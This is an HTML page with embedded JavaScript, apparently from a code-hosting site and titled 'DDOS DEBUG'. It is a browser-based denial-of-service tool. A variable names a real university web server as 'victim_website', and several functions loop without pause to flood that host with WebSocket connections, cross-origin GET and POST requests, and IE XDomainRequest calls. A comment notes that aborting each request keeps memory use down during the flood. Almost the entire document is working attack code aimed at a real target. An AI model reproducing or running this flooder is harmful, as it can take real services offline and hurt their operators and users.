Skip to content
Find file
4ddd58c Sep 20, 2012
@chickenwin @dichao
175 lines (170 sloc) 4.34 KB
<html>
<head>
<title>DDOS DEBUG</title>
</head>
<body>
<input type="submit" value="WebSocket" style="margin-left:10px" onclick="while_loop_ws()" />
<input type="submit" value="COR GET" style="margin-left:10px" onclick="do_it()" />
<div id="result"></div>
<div id="debug"></div>
<script type="text/javascript" src="string.js"></script>
<script type="text/javascript">
//<![CDATA[
var thread_count = 1;
var scan_counter = 0;
var resp_size_counter = 0;
var victim_website = "www.cs.zju.edu.cn";//"www.zju.edu.cn";
var Sys = {};
var ua = navigator.userAgent.toLowerCase();
var s;
(s = ua.match(/msie ([\d.]+)/)) ? Sys.ie = s[1] : 0;
var xhr;
if (!Sys.ie)
{
xhr = new XMLHttpRequest();
xhr.onreadystatechange = processResp;
}
else
{
xdr = new XDomainRequest();
xdr.onerror = err;
xdr.ontimeout = timeo;
xdr.onprogress = progres;
xdr.onload = loadd;
xdr.timeout = 1000;
}
function err()
{
alert("XDR onerror");
}
function timeo()
{
alert("XDR ontimeout");
}
function loadd()
{
alert("XDR onload");
alert("Got: " + xdr.responseText);
}
function progres()
{
alert("XDR onprogress");
alert("Got: " + xdr.responseText);
}
function while_loop_ws()
{
try
{
ws = new WebSocket("ws://" + victim_website);
scan_counter = scan_counter+1;
setTimeout("while_loop_ws()",0);
}
catch(err)
{
document.getElementById('result').innerHTML += "<b>Scan stopped. Exception: " + err + "<\/b>";
return;
}
document.getElementById('result').innerHTML = "<b>Current counter: " + scan_counter + "<\/b>";
}
function while_loop_cor()
{
try
{
xhr.abort();//解决内存耗费的关键在这里。
scan_counter = scan_counter+1;
xhr = new XMLHttpRequest();
xhr.open('GET', "http://" + victim_website );// + Math.round(Math.random()*100000));
xhr.onreadystatechange = function()
{
if (xhr.readyState==4)
{
resp_size_counter = resp_size_counter+xhr.responseText.length;
document.getElementById("debug").innerHTML=resp_size_counter;
}
};
xhr.onerror = function(e)
{
//alert(e);
}
xhr.send();
setTimeout("while_loop_cor()",0);
}
catch(err)
{
document.getElementById('result').innerHTML += "<b>Scan stopped. Exception: " + err + "</b>";
return;
}
document.getElementById('result').innerHTML = "<b>Current counter: " + scan_counter + "</b>";
}
function while_loop_cor_post()
{
try
{
xhr.abort();//解决内存耗费的关键在这里。
scan_counter = scan_counter+1;
xhr = new XMLHttpRequest();
fullUrl = "http://" + victim_website +"?jQ1="+Math.floor(Math.random()*10000000000);
xhr.open("POST", fullUrl, true);
xhr.setRequestHeader("Content-Type","text/plain; charset=utf-8");
//xhr.setRequestHeader("User-Agent","baidubot");
//xhr.send(Math.random()*1000 + "=" + Math.random()*10000000000);
xhr.send(post_data);
setTimeout("while_loop_cor_post()",0);
}
catch(err)
{
document.getElementById('result').innerHTML += "<b>Scan stopped. Exception: " + err + "</b>";
return;
}
document.getElementById('result').innerHTML = "<b>Current counter: " + scan_counter + "</b>";
}
function while_loop_ie()
{
try
{
xdr.abort();
scan_counter = scan_counter+1;
xdr = new XDomainRequest();
xdr.open('get', "http://" + victim_website + ":80");
xdr.send();
setTimeout("while_loop_ie()",0);
}
catch(err)
{
document.getElementById('result').innerHTML += "<b>Scan stopped. Exception: " + err + "<\/b>";
return;
}
document.getElementById('result').innerHTML = "<b>Current counter: " + scan_counter + "<\/b>";
}
function processResp()
{
if (xmlhttp.readyState==4){
document.getElementById("debug").innerHTML = "YES";//(xmlhttp.responseText);
}
}
function do_it()
{
if (!Sys.ie)
{
var i = 0;
while(i<thread_count)
{
//while_loop_cor_post();
while_loop_cor();
i++;
}
}
else
{
var i = 0;
while(i<thread_count)
{
while_loop_ie();
i++;
}
}
}
//]]>
</script>
</body>
</html>
Something went wrong with that request. Please try again.